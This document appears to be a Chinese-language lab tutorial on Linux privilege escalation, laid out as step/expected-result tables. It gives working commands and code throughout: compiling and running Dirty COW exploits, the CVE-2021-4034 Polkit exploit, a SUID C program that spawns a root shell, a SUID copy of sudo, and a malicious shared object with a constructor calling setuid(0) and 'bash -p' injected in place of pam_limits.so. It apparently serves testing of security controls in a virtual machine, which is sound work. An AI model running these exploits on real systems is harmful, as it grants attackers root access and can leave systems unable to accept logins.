提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。
本文只介绍部分提权手段,原理也很简单,就不赘述了。另外,如sudo等官方提权手段也不介绍。
目录
内核类提权
脏牛提权
Linux Polkit提升漏洞
SUID提权
SUID普通提权
SUID脚本提权
伪造sudo提权
共享对象注入suid提权
注:内核提权比较危险,建议使用虚拟机执行,执行前打好快照方便恢复。
前置条件:靶机:CentOS release 6.2 (Final) 内核:2.6.32-220.el6.x86_64
攻击机:kali
测试步骤 |
测试预期 |
kali执行searchsploit cow |
找到相应的提权代码 |
将代码传送至靶机普通用户/tmp/test目录下 |
传送成功 |
使用普通用户登录靶机,编译并执行相应的代码 |
编译执行成功 |
kali执行
searchsploit cow
locate linux/dos/43199.c
执行此命令,找到代码的绝对路径
利用scp,或其他工具,将以上红框中的代码文件转移至靶机的/tmp/目录下。
在靶机中创建普通用户,并切换至此普通用户。cd至/tmp/目录下,编译并执行以下代码。
gcc -pthread 40611cow.c -o dirty0w
./dirty0w /etc/group m00000000000000000
至此就完成了一个提权。那么另外的几个代码文件是干什么用的呢?当然都是提权文件!
执行编译命令,编译并执行第二个代码:
echo pikachu|tee pokeball;ls -l pokeball;gcc -pthread 40838cow.c -o d;./d pokeball miltank;cat pokeball
执行编译命令,编译并执行第三个代码:
gcc -pthread 40839cow.c -o dirty -lcrypt
./dirty 123456
执行编译命令,编译并执行第四个代码:
gcc suidcow.c -o cowroot -pthread
./cowroot
利用漏洞 cve-2021-4034
漏洞利用文件:CVE-2021-4034-main.zip https://download.csdn.net/download/qq_42465440/83200995
测试步骤 |
测试预期 |
1.使用root 解压CVE-2021-4034-main.zip |
解压成功 |
2.进入解压好的目录,执行make(机器需要提前安装gcc) |
编译成功 |
4.使用普通用户登录,并cd至目CVE-2021-4034目录下执行./cve-2021-4034 |
提权行为被阻断 |
将 CVE-2021-4034-main.zip放置于靶机的/root/目录下
执行以下命令,完成编译与执行:
unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main
make
./CVE-2021-4034
测试步骤 |
测试预期 |
1.使用root用户编译suid代码 |
编译成功 |
2.使用root用户将程序放置/tmp目录下,并赋予suid权限 |
操作成功 |
4.使用普通用户登录,并cd至/tmp目录下执行此程序 |
获取root权限成功 |
vi exp.c,创建exp.c文件,内容为:
#include
#include
int main()
{
setuid(0);//run as root
system("id");
system("/bin/bash");
}
执行编译命令,赋予suid权限,并转移至/tmp目录下:
gcc exp.c -o exp;
mv exp /tmp;
chmod u+s /tmp/exp;
切换至普通用户后,cd至/tmp目录,启动exp完成提权
su username
cd /tmp/
./exp
前提:靶机的普通用户priuser具有sudo权限
测试步骤 |
测试预期 |
1.在kali上执行searchsploit privilege|grep -i linux |
找到linux/local/46989.sh |
2.将脚本转移至靶机普通用户上 |
脚本上传成功 |
3. 执行脚本 |
执行成功,成功获取root权限
|
在kali上执行:
searchsploit privilege|grep -i linux
locate命令,获取到文件的绝对路径,转移至靶机普通用户上
在靶机的普通用户上执行此脚本
测试步骤 |
测试预期 |
1.root用户在客户端机器上执行cp /usr/bin/sudo /tmp/ |
执行成功 |
2.执行chmod +s /tmp/sudo |
执行成功 |
3. 登录普通用户执行 /tmp/sudo su root后,输入普通用户的密码即可 |
执行成功,成功获取root权限 |
root用户在靶机上执行
cp /usr/bin/sudo /tmp/privsudo
chmod +s /tmp/privsudo
#切换普通用户
su priver
/tmp/privsudo su root
前置条件:打开一个窗口,使用普通用户先登录
测试步骤 |
测试预期 |
1.在root用户下寻找现有的suid程序find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null |
执行成功 |
2.在root用户下查找打开的.so对象,执行strace /usr/bin/crontab >&1 |grep -iE "open|access|no such file" |
执行成功 |
3. 在root用户下将/lib64/security/pam_limits.so移至其他目录 |
执行成功 |
4.在root用户下编译注入c程序:gcc -shared -fPIC -o /lib64/security/pam_limits.so test.c |
执行成功 |
5.使用已经登录的普通用户执行crontab -e |
获取成功root权限 |
在root用户下寻找现有的suid程序
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
在root用户下查找该suid程序打开的.so对象,执行
2.strace /usr/bin/crontab >&1 |grep -iE "open|access|no such file"
在root用户下将/lib64/security/pam_limits.so移至其他目录
在root用户下编译注入c程序test.c,内容:
vim test.c
#include
#include
static void inject() __attribute__((constructor));
void inject() {setuid(0);system("/bin/bash -p");}
gcc -shared -fPIC -o /lib64/security/pam_limits.so test.c
使用已经登录的普通用户pro1执行
crontab -e
可以看到普通用户pro1已经成功切换为root
注:测试完记得把移除的/lib64/security/pam_limits.so恢复至原目录,否则会导致系统无法远程登录。